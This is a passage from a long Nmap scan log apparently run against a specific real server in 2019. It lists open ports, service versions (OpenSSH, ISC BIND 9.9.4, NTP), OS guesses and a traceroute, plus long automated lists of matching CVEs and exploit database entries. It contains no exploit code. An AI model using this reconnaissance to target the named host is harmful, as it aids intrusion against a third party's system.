23095| [6601] OpenSSH *realloc() Unspecified Memory Errors
23096| [6245] OpenSSH SKEY/BSD_AUTH Challenge-Response Remote Overflow
23097| [6073] OpenSSH on FreeBSD libutil Arbitrary File Read
23098| [6072] OpenSSH PAM Conversation Function Stack Modification
23099| [6071] OpenSSH SSHv1 PAM Challenge-Response Authentication Privilege Escalation
23100| [5536] OpenSSH sftp-server Restricted Keypair Restriction Bypass
23101| [5408] OpenSSH echo simulation Information Disclosure
23102| [5113] OpenSSH NIS YP Netgroups Authentication Bypass
23103| [4536] OpenSSH Portable AIX linker Privilege Escalation
23104| [3938] OpenSSL and OpenSSH /dev/random Check Failure
23105| [3456] OpenSSH buffer_append_space() Heap Corruption
23106| [2557] OpenSSH Multiple Buffer Management Multiple Overflows
23107| [2140] OpenSSH w/ PAM Username Validity Timing Attack
23108| [2112] OpenSSH Reverse DNS Lookup Bypass
23109| [2109] OpenSSH sshd Root Login Timing Side-Channel Weakness
23110| [1853] OpenSSH Symbolic Link 'cookies' File Removal
23111| [839] OpenSSH PAMAuthenticationViaKbdInt Challenge-Response Remote Overflow
23112| [781] OpenSSH Kerberos TGT/AFS Token Passing Remote Overflow
23113| [730] OpenSSH Channel Code Off by One Remote Privilege Escalation
23114| [688] OpenSSH UseLogin Environment Variable Local Command Execution
23115| [642] OpenSSH Multiple Key Type ACL Bypass
23116| [504] OpenSSH SSHv2 Public Key Authentication Bypass
23117| [341] OpenSSH UseLogin Local Privilege Escalation
23118|_
231191 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
23120SF-Port8080-TCP:V=7.80%I=7%D=11/24%Time=5DDB3B1D%P=x86_64-pc-linux-gnu%r(G
23121SF:etRequest,165,"HTTP/1\.1\x20401\x20Unauthorized\r\nX-Powered-By:\x20fst
23122SF:v\x20monitoring\x201\.0\.2\r\nContent-Type:\x20text/plain;\x20charset=u
23123SF:tf-8\r\nContent-Length:\x2012\r\nETag:\x20W/\"c-4G0bpw8TMen5oRPML4h9Pw\
23124SF:"\r\nset-cookie:\x20connect\.sid=s%3ATDHo0bm_ZnXFuWJdvw_yAWSD0ZgwR6jr\.
23125SF:VoOD4ma099DLXyFgopzDLD0ZSot%2FwKr98KgjaeCHStw;\x20Path=/;\x20HttpOnly\r
23126SF:\nDate:\x20Mon,\x2025\x20Nov\x202019\x2002:23:25\x20GMT\r\nConnection:\
23127SF:x20close\r\n\r\nUnauthorized")%r(HTTPOptions,166,"HTTP/1\.1\x20200\x20O
23128SF:K\r\nX-Powered-By:\x20fstv\x20monitoring\x201\.0\.2\r\nAllow:\x20GET,HE
23129SF:AD\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x
23130SF:208\r\nETag:\x20W/\"8-8ww6QOmj5lyGjHVKXelZGQ\"\r\nset-cookie:\x20connec
23131SF:t\.sid=s%3AFvZeyrKVEdbFMBtOhALRzIlHKU_6IORh\.z%2FaK1EYXrVA80wZQBgF8HgUG
23132SF:rMmSxJfkzE8dDC2njj8;\x20Path=/;\x20HttpOnly\r\nDate:\x20Mon,\x2025\x20N
23133SF:ov\x202019\x2002:23:25\x20GMT\r\nConnection:\x20close\r\n\r\nGET,HEAD")
23134SF:%r(FourOhFourRequest,160,"HTTP/1\.1\x20302\x20Found\r\nX-Powered-By:\x2
23135SF:0fstv\x20monitoring\x201\.0\.2\r\nLocation:\x20/\r\nVary:\x20Accept\r\n
23136SF:Content-Type:\x20text/plain;\x20charset=utf-8\r\nContent-Length:\x2023\
23137SF:r\nset-cookie:\x20connect\.sid=s%3AFdxnxFmh01Y4Hu3eywGw4PXbk2qm4E4G\.ei
23138SF:2odGkgfXDGKGyR9HE6wb77owXz5%2BDP8BF1ObaguH0;\x20Path=/;\x20HttpOnly\r\n
23139SF:Date:\x20Mon,\x2025\x20Nov\x202019\x2002:23:25\x20GMT\r\nConnection:\x2
23140SF:0close\r\n\r\nFound\.\x20Redirecting\x20to\x20/");
23141Aggressive OS guesses: Linux 3.10 - 4.11 (95%), Linux 3.18 (93%), Linux 3.2 - 4.9 (93%), Linux 4.4 (92%), Linux 3.16 (92%), HP P2000 G3 NAS device (91%), Linux 3.13 (91%), Linux 3.10 (91%), Linux 3.11 - 3.12 (91%), ASUS RT-N56U WAP (Linux 3.4) (91%)
23142No exact OS matches for host (test conditions non-ideal).
23143Uptime guess: 15.116 days (since Sat Nov 9 18:39:15 2019)
23144Network Distance: 9 hops
23145TCP Sequence Prediction: Difficulty=253 (Good luck!)
23146IP ID Sequence Generation: All zeros
23147Service Info: OSs: Unix, Linux; CPE: cpe:/o:redhat:enterprise_linux:7
23148
23149TRACEROUTE (using port 3389/tcp)
23150HOP RTT ADDRESS
231511 56.61 ms 10.243.204.1
231522 77.21 ms vlan102.as02.qc1.ca.m247.com (176.113.74.17)
231533 77.25 ms irb-0.agg1.qc1.ca.m247.com (37.120.128.168)
231544 77.19 ms te-1-5-2-0.bb1.fra2.de.m247.com (82.102.29.44)
231555 ...
231566 77.29 ms bhs-g1-nc5.qc.ca (142.44.208.173)
231577 ...
231588 77.29 ms be50-7.bhs-3a-a9.qc.ca (198.27.73.94)
231599 77.33 ms ns502056.ip-192-99-38.net (192.99.38.90)
23160
23161NSE: Script Post-scanning.
23162Initiating NSE at 21:26
23163Completed NSE at 21:26, 0.00s elapsed
23164Initiating NSE at 21:26
23165Completed NSE at 21:26, 0.00s elapsed
23166######################################################################################################################################
23167Starting Nmap 7.80 ( https://nmap.org ) at 2019-11-24 21:26 EST
23168NSE: Loaded 47 scripts for scanning.
23169NSE: Script Pre-scanning.
23170Initiating NSE at 21:26
23171Completed NSE at 21:26, 0.00s elapsed
23172Initiating NSE at 21:26
23173Completed NSE at 21:26, 0.00s elapsed
23174Initiating Parallel DNS resolution of 1 host. at 21:26
23175Completed Parallel DNS resolution of 1 host. at 21:26, 0.02s elapsed
23176Initiating UDP Scan at 21:26
23177Scanning ns502056.ip-192-99-38.net (192.99.38.90) [15 ports]
23178Discovered open port 53/udp on 192.99.38.90
23179Discovered open port 123/udp on 192.99.38.90
23180Increasing send delay for 192.99.38.90 from 0 to 50 due to max_successful_tryno increase to 4
23181Completed UDP Scan at 21:26, 5.63s elapsed (15 total ports)
23182Initiating Service scan at 21:26
23183Scanning 2 services on ns502056.ip-192-99-38.net (192.99.38.90)
23184Completed Service scan at 21:26, 0.10s elapsed (2 services on 1 host)
23185Initiating OS detection (try #1) against ns502056.ip-192-99-38.net (192.99.38.90)
23186Retrying OS detection (try #2) against ns502056.ip-192-99-38.net (192.99.38.90)
23187Initiating Traceroute at 21:26
23188Completed Traceroute at 21:26, 7.14s elapsed
23189Initiating Parallel DNS resolution of 1 host. at 21:26
23190Completed Parallel DNS resolution of 1 host. at 21:26, 0.00s elapsed
23191NSE: Script scanning 192.99.38.90.
23192Initiating NSE at 21:26
23193Completed NSE at 21:27, 8.25s elapsed
23194Initiating NSE at 21:27
23195Completed NSE at 21:27, 0.00s elapsed
23196Nmap scan report for ns502056.ip-192-99-38.net (192.99.38.90)
23197Host is up (0.067s latency).
23198
23199PORT STATE SERVICE VERSION
2320053/udp open domain ISC BIND 9.9.4 (RedHat Enterprise Linux 7)
23201| vulners:
23202| cpe:/a:isc:bind:9.9.4:
23203| CVE-2015-4620 7.8 https://vulners.com/cve/CVE-2015-4620
23204| CVE-2014-8500 7.8 https://vulners.com/cve/CVE-2014-8500
23205| CVE-2017-3141 7.2 https://vulners.com/cve/CVE-2017-3141
23206| CVE-2015-8461 7.1 https://vulners.com/cve/CVE-2015-8461
23207| CVE-2013-6230 6.8 https://vulners.com/cve/CVE-2013-6230
23208| CVE-2015-1349 5.4 https://vulners.com/cve/CVE-2015-1349
23209| CVE-2018-5740 5.0 https://vulners.com/cve/CVE-2018-5740
23210| CVE-2017-3145 5.0 https://vulners.com/cve/CVE-2017-3145
23211| CVE-2016-9131 5.0 https://vulners.com/cve/CVE-2016-9131
23212| CVE-2016-8864 5.0 https://vulners.com/cve/CVE-2016-8864
23213| CVE-2016-1286 5.0 https://vulners.com/cve/CVE-2016-1286
23214| CVE-2015-8000 5.0 https://vulners.com/cve/CVE-2015-8000
23215| CVE-2019-6465 4.3 https://vulners.com/cve/CVE-2019-6465
23216| CVE-2018-5743 4.3 https://vulners.com/cve/CVE-2018-5743
23217| CVE-2018-5742 4.3 https://vulners.com/cve/CVE-2018-5742
23218| CVE-2017-3143 4.3 https://vulners.com/cve/CVE-2017-3143
23219| CVE-2017-3142 4.3 https://vulners.com/cve/CVE-2017-3142
23220| CVE-2017-3136 4.3 https://vulners.com/cve/CVE-2017-3136
23221| CVE-2016-2775 4.3 https://vulners.com/cve/CVE-2016-2775
23222| CVE-2016-1285 4.3 https://vulners.com/cve/CVE-2016-1285
23223| CVE-2018-5741 4.0 https://vulners.com/cve/CVE-2018-5741
23224| CVE-2016-6170 4.0 https://vulners.com/cve/CVE-2016-6170
23225| CVE-2018-5745 3.5 https://vulners.com/cve/CVE-2018-5745
23226|_ CVE-2014-0591 2.6 https://vulners.com/cve/CVE-2014-0591
23227| vulscan: VulDB - https://vuldb.com:
23228| [11804] ISC BIND up to 9.9.4 DNS Query bin/named/query.c query_findclosestnsec3 denial of service
23229| [11104] ISC BIND up to 9.9.4 WSAloctl Winsock API Bypass privilege escalation
23230| [9764] ISC BIND up to 9.9.4 RDATA rdata.c denial of service
23231| [119548] ISC BIND 9.9.12/9.10.7/9.11.3/9.12.1-P2 Recursion information disclosure
23232| [95202] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 DNSSEC denial of service
23233| [95201] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 DS Record Response denial of service
23234| [95200] ISC BIND up to 9.9.9-P4/9.10.4-P4/9.11.0-P1 ANY Query Response denial of service
23235| [89850] ISC BIND up to 9.9.9-P1/9.10.4-P1/9.11.0b1 Lightweight Resolution named.conf denial of service
23236| [81312] ISC BIND up to 9.9.8-P3/9.10.3-P3 named db.c/resolver.c Signature Record denial of service
23237| [81311] ISC BIND up to 9.9.8-P3/9.10.3-P3 named alist.c/sexpr.c denial of service
23238| [80787] ISC BIND up to 9.9.8-S4 Query rdataset.c denial of service
23239| [79802] ISC BIND 9.9.0/9.10.0/9.10.1-P1 Socket Error resolver.c denial of service
23240| [79801] ISC BIND 9.9.0/9.10.0/9.10.1-P1 Response db.c denial of service
23241| [76834] ISC BIND up to 9.9.7-P1/9.10.2-P2 TKEY Query Packet Crash denial of service
23242| [8108] ISC BIND up to 9.9.3 on Unix/Linux Regular Expression denial of service
23243| [7079] ISC BIND up to 9.9.1 DNS64 IPv6 Transition Mechanism denial of service
23244| [6295] ISC BIND up to 9.9.1-P2 Assertion Error Resource Record Parser RDATA Query denial of service
23245| [5875] ISC BIND 9.9.0/9.9.1 denial of service
23246| [5874] ISC BIND up to 9.9.1-P1 denial of service
23247| [5483] ISC BIND up to 9.9.1 DNS Resource Record information disclosure
23248|
23249| MITRE CVE - https://cve.mitre.org:
23250| [CVE-2013-4854] The RFC 5011 implementation in rdata.c in ISC BIND 9.7.x and 9.8.x before 9.8.5-P2, 9.8.6b1, 9.9.x before 9.9.3-P2, and 9.9.4b1, and DNSco BIND 9.9.3-S1 before 9.9.3-S1-P1 and 9.9.4-S1b1, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query with a malformed RDATA section that is not properly handled during construction of a log message, as exploited in the wild in July 2013.
23251| [CVE-2013-3919] resolver.c in ISC BIND 9.8.5 before 9.8.5-P1, 9.9.3 before 9.9.3-P1, and 9.6-ESV-R9 before 9.6-ESV-R9-P1, when a recursive resolver is configured, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for a record in a malformed zone.
23252| [CVE-2013-2266] libdns in ISC BIND 9.7.x and 9.8.x before 9.8.4-P2, 9.8.5 before 9.8.5b2, 9.9.x before 9.9.2-P2, and 9.9.3 before 9.9.3b2 on UNIX platforms allows remote attackers to cause a denial of service (memory consumption) via a crafted regular expression, as demonstrated by a memory-exhaustion attack against a machine running a named process.
23253| [CVE-2012-5689] ISC BIND 9.8.x through 9.8.4-P1 and 9.9.x through 9.9.2-P1, in certain configurations involving DNS64 with a Response Policy Zone that lacks an AAAA rewrite rule, allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for an AAAA record.
23254| [CVE-2012-5688] ISC BIND 9.8.x before 9.8.4-P1 and 9.9.x before 9.9.2-P1, when DNS64 is enabled, allows remote attackers to cause a denial of service (assertion failure and daemon exit) via a crafted query.
23255| [CVE-2012-5166] ISC BIND 9.x before 9.7.6-P4, 9.8.x before 9.8.3-P4, 9.9.x before 9.9.1-P4, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P4 allows remote attackers to cause a denial of service (named daemon hang) via unspecified combinations of resource records.
23256| [CVE-2012-4244] ISC BIND 9.x before 9.7.6-P3, 9.8.x before 9.8.3-P3, 9.9.x before 9.9.1-P3, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P3 allows remote attackers to cause a denial of service (assertion failure and named daemon exit) via a query for a long resource record.
23257| [CVE-2012-3868] Race condition in the ns_client structure management in ISC BIND 9.9.x before 9.9.1-P2 allows remote attackers to cause a denial of service (memory consumption or process exit) via a large volume of TCP queries.
23258| [CVE-2012-1667] ISC BIND 9.x before 9.7.6-P1, 9.8.x before 9.8.3-P1, 9.9.x before 9.9.1-P1, and 9.4-ESV and 9.6-ESV before 9.6-ESV-R7-P1 does not properly handle resource records with a zero-length RDATA section, which allows remote DNS servers to cause a denial of service (daemon crash or data corruption) or obtain sensitive information from process memory via a crafted record.
23259| [CVE-2011-4313] query.c in ISC BIND 9.0.x through 9.6.x, 9.4-ESV through 9.4-ESV-R5, 9.6-ESV through 9.6-ESV-R5, 9.7.0 through 9.7.4, 9.8.0 through 9.8.1, and 9.9.0a1 through 9.9.0b1 allows remote attackers to cause a denial of service (assertion failure and named exit) via unknown vectors related to recursive DNS queries, error logging, and the caching of an invalid record by the resolver.
23260| [CVE-2011-2465] Unspecified vulnerability in ISC BIND 9 9.8.0, 9.8.0-P1, 9.8.0-P2, and 9.8.1b1, when recursion is enabled and the Response Policy Zone (RPZ) contains DNAME or certain CNAME records, allows remote attackers to cause a denial of service (named daemon crash) via an unspecified query.
23261| [CVE-2011-2464] Unspecified vulnerability in ISC BIND 9 9.6.x before 9.6-ESV-R4-P3, 9.7.x before 9.7.3-P3, and 9.8.x before 9.8.0-P4 allows remote attackers to cause a denial of service (named daemon crash) via a crafted UPDATE request.
23262|
23263| SecurityFocus - https://www.securityfocus.com/bid/:
23264| [61774] ISC BIND 9 SRTT Algorithm Authoritative Server Selection Security Vulnerability
23265| [61479] ISC BIND 9 DNS RDATA Handling CVE-2013-4854 Remote Denial of Service Vulnerability
23266| [58736] ISC BIND 9 'libdns' Remote Denial of Service Vulnerability
23267| [57556] ISC BIND 9 DNS64 CVE-2012-5689 Remote Denial of Service Vulnerability
23268| [56817] ISC BIND 9 DNS64 Remote Denial of Service Vulnerability
23269| [55852] ISC BIND 9 DNS RDATA Handling CVE-2012-5166 Remote Denial of Service Vulnerability
23270| [55522] ISC BIND 9 DNS Resource Records Handling CVE-2012-4244 Remote Denial of Service Vulnerability
23271| [54659] ISC BIND 9 TCP Query Remote Denial of Service Vulnerability
23272| [54658] ISC BIND 9 DNSSEC Validation CVE-2012-3817 Denial of Service Vulnerability
23273| [53772] ISC BIND 9 DNS Resource Records Handling Remote Denial of Service Vulnerability
23274| [50690] ISC BIND 9 Recursive Queries Remote Denial of Service Vulnerability
23275| [48566] ISC BIND 9 Unspecified Packet Processing Remote Denial of Service Vulnerability
23276| [48565] ISC BIND 9 RPZ Configurations Remote Denial of Service Vulnerabilities
23277| [48007] ISC BIND 9 Large RRSIG RRsets Remote Denial of Service Vulnerability
23278| [47734] ISC BIND 9 RRSIG Query Type Remote Denial of Service Vulnerability
23279| [46491] ISC BIND 9 IXFR Transfer/DDNS Update Remote Denial of Service Vulnerability
23280| [45385] ISC BIND 9 DNSSEC Validation Remote Denial of Service Vulnerability
23281| [45133] ISC BIND 9 'RRSIG' Record Type Negative Cache Remote Denial of Service Vulnerability
23282| [41730] ISC BIND 9 'RRSIG' Record Type Remote Denial of Service Vulnerability
23283| [37865] ISC BIND 9 DNSSEC Bogus NXDOMAIN Response Remote Cache Poisoning Vulnerability
23284| [37118] ISC BIND 9 DNSSEC Query Response Additional Section Remote Cache Poisoning Vulnerability
23285| [35848] ISC BIND 9 Remote Dynamic Update Message Denial of Service Vulnerability
23286| [25076] ISC BIND 9 Default ACL Settings Recursive Queries And Cached Content Security Bypass Vulnerability
23287| [25037] ISC BIND 9 Remote Cache Poisoning Vulnerability
23288| [4936] ISC BIND 9 Remote Denial Of Service Vulnerability
23289| [100656] Cisco ASR 920 Series Routers CVE-2017-6795 Local Arbitrary File Overwrite Vulnerability
23290| [97450] Cisco ASR 903 and ASR 920 Series CVE-2017-6603 Denial of Service Vulnerability
23291| [93415] Cisco Nexus 9000 Series Switches CVE-2016-1455 Remote Information Disclosure Vulnerability
23292| [82579] Cisco Nexus 9000 Series ACI Mode Switches CVE-2015-6398 Denial of Service Vulnerability
23293| [77686] Cisco Firepower 9000 Series CVE-2015-6380 Unspecified OS Command Injection Vulnerability
23294| [77635] Cisco Firepower 9000 Series CVE-2015-6371 Multiple Arbitrary File Read Vulnerabilities
23295| [77634] Cisco Firepower 9000 Series CVE-2015-6370 Local Command Injection Vulnerability
23296| [77633] Cisco Firepower 9000 Series Switches CVE-2015-6372 HTML Injection Vulnerability
23297| [77631] Cisco Firepower 9000 Series Switches CVE-2015-6374 Clickjacking Vulnerability
23298| [77629] Cisco Firepower 9000 Series CVE-2015-6369 Local Denial of Service Vulnerability
23299| [77628] Cisco Firepower 9000 CVE-2015-6373 Cross Site Request Forgery Vulnerability
23300| [77614] Cisco Firepower 9000 Series Switches CVE-2015-6368 Information Disclosure Vulnerability
23301| [76913] Cisco NX-OS Software for Nexus 9000 Series Switches CVE-2015-6308 Denial of Service Vulnerability
23302| [76791] Cisco ASR 9000 Series Aggregation Services Routers CVE-2015-6301 Denial of Service Vulnerability
23303| [76762] Cisco NX-OS Software for Nexus 9000 Series CVE-2015-6295 Denial of Service Vulnerability
23304| [76329] Cisco Nexus 9000 Series Software CVE-2015-4301 Remote Denial of Service Vulnerability
23305| [76057] Cisco Firepower 9000 Series Devices CVE-2015-4287 Information Disclosure Vulnerability
23306| [75471] Cisco Unified IP Phones 9900 Series CVE-2015-4226 Denial of Service Vulnerability
23307| [75378] Cisco NX-OS Software for Nexus 9000 Series CVE-2015-4213 Information Disclosure Vulnerability
23308| [74029] Cisco ASR 9000 Series Routers CVE-2015-0694 Remote Security Bypass Vulnerability
23309| [73895] Cisco NX-OS Software for Nexus 9000 Series CVE-2015-0686 Denial of Service Vulnerability
23310| [73470] Cisco ASR 9000 Series Routers CVE-2015-0685 Denial of Service Vulnerability
23311| [73318] Cisco ASR 9000 Series Aggregation Services Routers CVE-2015-0672 Denial of Service Vulnerability
23312| [72485] Cisco Unified IP Phones 9900 Series CVE-2015-0604 Arbitrary File Upload Vulnerability
23313| [72484] Cisco Unified IP Phones 9900 Series CVE-2015-0603 Local Denial of Service Vulnerability
23314| [72483] Cisco Unified IP Phones 9900 Series CVE-2015-0601 Local Denial of Service Vulnerability
23315| [72482] Cisco Unified IP Phones 9900 Series CVE-2015-0602 Information Disclosure Vulnerability
23316| [72481] Cisco Unified IP Phones 9900 Series CVE-2015-0600 Denial of Service Vulnerability
23317| [71979] Cisco MDS 9000 NX-OS Software CVE-2015-0582 Denial of Service Vulnerability
23318| [70744] Cisco ASR 901 Series Routers CVE-2014-3293 Denial of Service Vulnerability
23319| [70658] ZTE ZXDSL 931VII 'manager_dev_config_t.gch' Information Disclosure Vulnerability
23320| [69057] Cisco Nexus 9000 Series Switches CVE-2014-3330 Access List Security Bypass Vulnerability
23321| [64770] Cisco Unified IP Phones 9900 Series Crafted Header Unregister Denial of Service Vulnerability
23322| [63564] Cisco MDS 9000 NX-OS Software VRRP Frames Denial of Service Vulnerability
23323| [62944] Cisco Unified IP Phones 9900 Series CVE-2013-5532 Buffer Overflow Vulnerability
23324| [62943] Cisco Unified IP Phones 9900 Series CVE-2013-5533 Local Command Injection Vulnerability
23325| [62905] Cisco Unified IP Phones 9900 Series CVE-2013-5526 Denial of Service Vulnerability
23326| [61330] Cisco Unified IP Phones 9900 Series CVE-2013-3426 Arbitrary File Download Vulnerability
23327| [49633] Oracle Application Server 9i 'httpd.conf' Information Disclosure Vulnerability
23328| [48811] Cisco ASR 9000 Series Routers IP Version 4 Denial of Service Vulnerability
23329| [48264] Aastra 9480i CT Multiple Information Disclosure Vulnerabilities
23330| [15542] NetObjects Fusion 9 Information Disclosure Vulnerability
23331| [6556] Oracle 9i Application Server Sample Scripts Information Disclosure Vulnerability
23332| [6459] Oracle 9i Application Server Java Server Page Source Code Disclosure Vulnerability
23333| [5335] Multiple Lucent Router UDP Port 9 Information Disclosure Vulnerability
23334| [4290] Oracle 9i Default Configuration File Information Disclosure Vulnerability
23335| [4034] Oracle 9IAS OracleJSP Information Disclosure Vulnerability
23336| [3848] Mandrake Bind 9 Package Insecure File Permissions Vulnerability
23337| [2516] Microsoft Plus! 98 Windows ME Password Disclosure Vulnerability
23338|
23339| IBM X-Force - https://exchange.xforce.ibmcloud.com:
23340| [85799] Cisco Unified IP Phones 9900 Series directory traversal
23341| [75412] Cisco Unified IP Phones 9900 series RT privilege escalation
23342| [68733] Cisco 9000 Series Aggregation Service Router IPv4 packet denial of service
23343| [9704] Multiple Lucent router UDP port 9 could disclose sensitive information
23344| [9250] BIND 9 dns_message_findtype() denial of service
23345| [1852] BIND prior to 4.9.7 buffer overflow affects Digital Firewall 97 users
23346| [539] Microsoft Windows 95 and Internet Explorer password disclosure
23347| [86004] ISC BIND RDATA denial of service
23348| [84767] ISC BIND denial of service
23349| [83066] ISC BIND denial of service
23350| [81504] ISC BIND AAAA denial of service
23351| [80510] ISC BIND DNS64 denial of service
23352| [79121] ISC BIND queries denial of service
23353| [78479] ISC BIND RDATA denial of service
23354| [77185] ISC BIND TCP queries denial of service
23355| [77184] ISC BIND bad cache denial of service
23356| [76034] ISC BIND rdata denial of service
23357| [73053] ISC BIND cache update policy security bypass
23358| [71332] ISC BIND recursive queries denial of service
23359| [68375] ISC BIND UPDATE denial of service
23360| [68374] ISC BIND Response Policy Zones denial of service
23361| [67665] ISC BIND RRSIG Rrsets denial of service
23362| [67297] ISC BIND RRSIG denial of service
23363| [65554] ISC BIND IXFR transfer denial of service
23364| [63602] ISC BIND allow-query security bypass
23365| [63596] ISC BIND zone data security bypass
23366| [63595] ISC BIND RRSIG denial of service
23367| [62072] ISC BIND DNSSEC query denial of service
23368| [62071] ISC BIND ACL security bypass
23369| [61871] ISC BIND anchors denial of service
23370| [60421] ISC BIND RRSIG denial of service
23371| [56049] ISC BIND out-of-bailiwick weak security
23372| [55937] ISC Bind unspecified cache poisoning
23373| [55753] ISC BIND DNSSEC NSEC/NSEC3 cache poisoning
23374| [54416] ISC BIND DNSSEC cache poisoning
23375| [52073] ISC BIND dns_db_findrdataset() denial of service
23376| [47409] Multiple Mozilla products XBL loadBindingDocument information disclosure
23377| [45234] ISC BIND UDP denial of service
23378| [39670] ISC BIND inet_network buffer overflow
23379| [37233] libgssapi ISC BIND Novell SUSE Linux Enterprise Server GSS-TSIG request denial of service
23380| [37128] RHSA update for ISC BIND RRset denial of service not installed
23381| [37127] RHSA update for ISC BIND named service denial of service not installed
23382| [36275] ISC BIND DNS query spoofing
23383| [35575] ISC BIND query ID cache poisoning
23384| [35571] ISC BIND ACL security bypass
23385| [31838] ISC BIND RRset denial of service
23386| [31799] ISC BIND named service denial of service
23387| [29876] HP Tru64 ypbind core dump information disclosure
23388| [28745] ISC BIND DNSSEC RRset denial of service
23389| [28744] ISC BIND recursive INSIST denial of service
23390| [22041] BEA WebLogic Server and Express LDAP anonymous bind information disclosure
23391| [18836] BIND hostname disclosure
23392| [10624] ISC BIND DNS stub resolver library (libresolv.a) stack buffer overflows
23393| [10333] ISC BIND SIG null pointer dereference denial of service
23394| [10332] ISC BIND OPT resource record (RR) denial of service
23395| [10304] ISC BIND SIG cached resource records (RR) heap buffer overflow
23396| [7027] Cisco CBOS Web-based configuration utility binds to port 80 by default
23397| [5814] ISC BIND "
23398| [5540] ISC BIND can be remotely crashed by issuing ZXFR requests
23399| [5462] ISC BIND AXFR host command remote buffer overflow
23400|
23401| Exploit-DB - https://www.exploit-db.com:
23402| [24689] cPanel 9.9.1 -R3 Front Page Extension Installation Information Disclosure
23403| [23059] Netbula Anyboard 9.9.5 6 Information Disclosure Vulnerability
23404| [9300] ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC
23405|
23406| OpenVAS (Nessus) - http://www.openvas.org:
23407| [103090] ISC BIND 9 IXFR Transfer/DDNS Update Remote Denial of Service Vulnerability
23408| [103031] ISC BIND 9 < 9.7.2-P2 Multiple Vulnerabilities
23409| [103030] ISC BIND 9 'RRSIG' Record Type Negative Cache Remote Denial of Service Vulnerability
23410| [100717] ISC BIND 9 'RRSIG' Record Type Remote Denial of Service Vulnerability
23411| [100458] ISC BIND 9 DNSSEC Bogus NXDOMAIN Response Remote Cache Poisoning Vulnerability
23412| [100362] ISC BIND 9 DNSSEC Query Response Additional Section Remote Cache Poisoning Vulnerability
23413| [100251] ISC BIND 9 Remote Dynamic Update Message Denial of Service Vulnerability
23414| [63208] Fedora Core 9 FEDORA-2009-0350 (bind)
23415| [11226] Oracle 9iAS default error information disclosure
23416|
23417| SecurityTracker - https://www.securitytracker.com:
23418| [1025811] Cisco ASR 9000 Series Router IPv4 Packet Processing Flaw Lets Remote Users Deny Service
23419| [1012995] BIND 9 Validator Assumption Error May Let Remote Users Deny Service
23420| [1005048] Oracle Enterprise Manager Web Service Component of Oracle 9i Application Server Discloses the Web Cache Administrator Password to Local Users
23421| [1003675] Oracle 9iAS Application Server Discloses CGI-BIN Script Source Code to Remote Users
23422| [1001186] Microsoft Windows Me Operating System and Windows 98 with the Plus! 98 Package Disclose Data Compression Passwords
23423| [1028901] (McAfee Issues Advisory for McAfee Email Gateway) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
23424| [1028900] (McAfee Issues Advisory for McAfee Email and Web Security Appliance) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
23425| [1028899] (McAfee Issues Fix for McAfee Web Gateway) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
23426| [1028866] (McAfee Issues Fix for McAfee Firewall Enterprise) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
23427| [1028854] (NetBSD Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
23428| [1028849] (Red Hat Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
23429| [1028848] (Red Hat Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
23430| [1028839] (FreeBSD Issues Fix) ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
23431| [1028838] ISC BIND RDATA Processing Bug Lets Remote Users Deny Service
23432| [1028632] ISC BIND RUNTIME_CHECK Error Lets Remote Users Deny Service Against Recursive Resolvers
23433| [1028046] ISC BIND DNS64 and Response Policy Zones (RPZ) Bug Lets Remote Users Deny Service
23434| [1027835] ISC BIND DNS64 Bug Lets Remote Users Deny Service
23435| [1027642] ISC BIND RDATA Processing Flaw Lets Remote Users Deny Service
23436| [1027529] ISC BIND RDATA Processing Flaw Lets Remote Users Deny Service
23437| [1026647] ISC BIND Cache Update Policy Can Be Bypassed to Allow Revoked Domain Names to Remain Resolvable
23438| [1026335] ISC BIND Invalid Record Caching Flaw Lets Remote Users Deny Service
23439| [1025743] ISC BIND Response Policy Zones DNAME/CNAME Processing Flaw Lets Remote Users Deny Service
23440| [1025742] ISC BIND Packet Processing Flaw Lets Remote Users Deny Service
23441| [1015850] Samba winbindd Daemon Discloses Server Password to Local Users
23442| [1003359] BindView NETinventory Discloses Password to Local Users During Auditing
23443| [1001721] BIND Domain Name System Software May Disclose DNS Transactional Signature (TSIG) Keys to Local Users
23444|
23445| OSVDB - http://www.osvdb.org:
23446| [86219] Cardiac Science G3 Plus 9390A-501 AED AEDUpdate Cleartext Password Local Disclosure
23447| [22517] MPN HP-180W Wireless IP Phone UDP Port 9090 Information Disclosure
23448| [22516] ZyXEL P-2000W_v2 VoIP Wi-Fi Phone UDP Port 9090 Information Disclosure
23449| [21292] ZyXEL P2000W UDP 9090 Remote Information Disclosure
23450|_
2345167/udp closed dhcps
2345268/udp closed dhcpc
2345369/udp closed tftp
2345488/udp closed kerberos-sec
23455123/udp open ntp NTP v4 (secondary server)
23456| vulscan: VulDB - https://vuldb.com:
23457| [133843] ntp Port unknown vulnerability
23458| [128043] InfoVista VistaPortal SE 5.1 EditCurrentPresentSpace.jsp Parameter cross site scripting
23459| [128042] InfoVista VistaPortal SE 5.1 EditCurrentPool.jsp Parameter cross site scripting
23460| [128036] InfoVista VistaPortal SE 5.1 EditCurrentPresentSpace.jsp Parameter cross site scripting
23461| [105145] ntp up to 4.2.8p2-RC1/4.3.11 on Big Endian MD5 Key Generator ntp-keygen.c Variable weak encryption
23462| [96331] OpenNTPD up to 6.0 CN Validator weak authentication
23463| [95322] ntpd up to 4.2.8p8 Initial Sync Calculation unknown vulnerability
23464| [89036] Microsoft Windows up to Vista SP2 Print Spooler ntprint.dll PSetupDownloadAndInstallLegacyDriver privilege escalation
23465| [89035] Microsoft Windows up to Vista SP2 Print Spooler ntprint.dll PSetupDownloadAndInstallLegacyDriver memory corruption
